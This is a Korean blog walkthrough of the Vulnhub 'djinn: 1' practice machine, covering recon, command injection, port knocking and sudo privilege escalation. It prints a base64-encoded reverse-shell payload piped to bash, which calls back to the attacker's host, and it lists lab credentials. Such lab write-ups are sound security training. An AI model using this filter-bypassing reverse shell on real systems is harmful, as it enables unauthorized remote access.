Vulnhub

[Vulnhub] djinn Walkthrough

jeff_kim 2024. 7. 11. 18:40

https://www.vulnhub.com/entry/djinn-1,397/

 

djinn: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

Reconnaissance

 

└─$ sudo nmap -sn 192.168.45.0/24                                               

Nmap scan report for 192.168.45.195
Host is up (0.00035s latency).
MAC Address: 08:00:27:D2:44:F1 (Oracle VirtualBox virtual NIC)

 

SSH는 필터가 되어있네요

 

FTP

anonymous 로그인이 가능한 것으로 보입니다

cme(crackmapexec) 를 이용해서 anonymous 로그인이 되는지 확인이 가능합니다

모든 파일들을 가져와서 한번 확인해봅니다

# credentials

nitu:81299

계정 정보와 1337 포트에서 게임을 하기 위해서 셋팅을 했다고합니다

 

 

1337 Port

1000개를 풀면 선을 준다고하네요 일단 7331이 http 였으니 그거부터 확인해봅니다

 

HTTP

mzfr

bootstrap

page source - X 

robots.txt

 

 

Vulnerability

gobuster dirb nikto 툴을 이용해봅니다

wordlist를 더 키워서 진행해보겠습니다

/wish

/genie

page source는 임팩트가 없네요

뭔가 execute 할 수 있는 것이 있습니다 아무 명령어나 한번 쳐보겠습니다

/genie로 리디렉션되었지만, 특이한 점은 주소창에 whoami 명령어에 대한 결과값이 나왔습니다. RCE가 가능한 페이지로군요

개념 증명을 위해서 id 명령어로 한번 더 시도해봤습니다

 

Exploitation

RCE가 가능한 페이지에서 바로 리버스쉘을 획득하기 위해 netcat이 있는지 확인해봅니다

nc -v 2>&1

리버스쉘을 획득하기 위해서 페이로드를 날렸는데

이러한 문자가 떳습니다. 이리저리 확인해보니 뭔가 문자열에 대해서 필터링을 하고 있는듯하네요

 

URL 인코딩 또한 해보니 실패하여서 다른 인코딩 방법을 찾아봤습니다

유니코드나 다른 방법보단 그냥 쉽게 base64으로 진행해보겠습니다

 

뭔가 나쁘지 않은 것 같죠?? 그럼 base64로 인코딩 한 것을 디코딩하고, 그 디코딩 된것을 기반으로 리버스쉘을 획득하면 되겠군요

echo 'L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjIxOS85OTk5IDA+JjEK' | base64 --decode | bash

이렇게 페이로드를 날리면 될듯합니다

리버스쉘을 획득하여 대상 호스트로 초기 침투에 성공했습니다

 

Post-Exploitation

다양한 문자열에 대해서 필터링을 하고 있엇네요 그리고 .dev 디렉터리에 있는 creds.txt

# credentials
nitish:p4ssw0rdStr3r0n9

그리고 ssh로 접근하려했는데 filtered 상태였죠??

포트 노킹이 가능할 듯합니다

공격자 PC에서  포트 노킹을 시도합니다

이제 열렸네요!!

 

 

Privilege Escalation

user.txt의 플래그 값입니다

 

이제 권한 상승을 해야겠죠

nitish@djinn:~$ sudo -l
Matching Defaults entries for nitish on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nitish may run the following commands on djinn:
    (sam) NOPASSWD: /usr/bin/genie

sam 유저의 권한으로 된 바이너리 입니다

좀....난감하네

strings 명령어를 통해서 보면 약간의 단서를 얻을 수 있는데 

nitish@djinn:~$ strings /usr/bin/genie
...
genie.py                
argparse                  
SUPPRESS                     
shell                    
default                     
allowed                       
whoami                          
system                   
substr                        
string                         
parser                       
my man!!                                                                      
main                     
__import__              
exec                                  
/bin/sh
action
valid
--shell
print
lower
genie
wish
__test__
root
__name__
__main__
help
exit
--exec
bash
args
--god
-cmd
/bin/
;*3$"
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
...

이 부분입니다 뭔가 조합을 해봅시다

 

됬네요!! sam 유저로 접근 성공했습니다

 

$ sudo -l
Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

뭔가를 맞추거나 찾아야하는 것 같습니다... 이 ctf 재밌게 만들었네요 sam의 홈디렉터리로 가서 단서가 있는지 확인해봅니다

$ pwd
/home/sam
$ ls -al
total 36
drwxr-x--- 4 sam  sam  4096 Nov 14  2019 .
drwxr-xr-x 4 root root 4096 Nov 14  2019 ..
-rw------- 1 root root  417 Nov 14  2019 .bash_history
-rw-r--r-- 1 root root  220 Oct 20  2019 .bash_logout
-rw-r--r-- 1 sam  sam  3771 Oct 20  2019 .bashrc
drwx------ 2 sam  sam  4096 Nov 11  2019 .cache
drwx------ 3 sam  sam  4096 Oct 20  2019 .gnupg
-rw-r--r-- 1 sam  sam   807 Oct 20  2019 .profile
-rw-r--r-- 1 sam  sam  1749 Nov  7  2019 .pyc
-rw-r--r-- 1 sam  sam     0 Nov  7  2019 .sudo_as_admin_successful
$ strings .pyc                                                                                                                                               
getuser(                                                                                                                                                     
system(                                                                                                                                                      
randintc                                                                                                                                                     
Working on it!! (
/home/mzfr/scripts/exp.pyt
naughtyboi
Choose a number between 1 to 100: s
Enter your number: s
/bin/shs
Better Luck next time(
inputR
numt
/home/mzfr/scripts/exp.pyt
guessit
Enter the full of the file to read: s!
User %s is not allowed to read %s(
usert
path(
/home/mzfr/scripts/exp.pyt
readfiles
What do you want to do ?s
1 - Be naughtys
2 - Guess the numbers
3 - Read some damn filess
4 - Works
Enter your choice: (
intR
choice(
/home/mzfr/scripts/exp.pyt
options
work your ass off!!s"
Do something better with your life(
/home/mzfr/scripts/exp.pyt
main'
__main__N(
getpassR
randomR
__name__(
/home/mzfr/scripts/exp.pyt
<module>

컴파일된 pyc 파일을 디컴파일해서  어떤 코드로 만들었는지 확인해야 겠네요,,ㅎ 리버싱하는 느낌이에요

 

# pyc 파일을 디컴파일하는 uncompyle6 install

└─$ pip install uncompyle6

 

대상 호스트에서 웹 서버를 열어 줍니다

$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...


# kali
└─$ wget http://192.168.45.195:1234/.pyc                                                  
--2024-07-11 18:32:47--  http://192.168.45.195:1234/.pyc
Connecting to 192.168.45.195:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1749 (1.7K) [application/octet-stream]
Saving to: ‘.pyc’

.pyc                                    100%[============================================================================>]   1.71K  --.-KB/s    in 0s      

2024-07-11 18:32:47 (200 MB/s) - ‘.pyc’ saved [1749/1749]

 

 

└─$ uncompyle6 .pyc
# uncompyle6 version 3.9.1
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 3.11.8 (main, Feb  7 2024, 21:52:08) [GCC 13.2.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 22:05:18
from getpass import getuser
from os import system
from random import randint
                                       
def naughtyboi():
    print 'Working on it!! '       
                                       
                                                                              
def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'
                                       

def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)

s == num 이네요 그렇다면~~~

 

네.. 새롭게 하나 배웠습니다!!

 

root 플래그 까지 획득 완료 했습니다!!

 

정말 방탈출 같은 게임이었네요,,재밌었습니다

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] DerpNStink Walkthrough  (1) 2024.07.15
[Vulnhub] EVM Walkthrough  (0) 2024.07.12
[Vulnhub] Sar Walkthrough  (0) 2024.07.09
[Vulnhub] Symfonos: 5.2 Walkthrough  (0) 2024.07.08
[Vulnhub] Symfonos: 4 Walkthrough  (0) 2024.07.07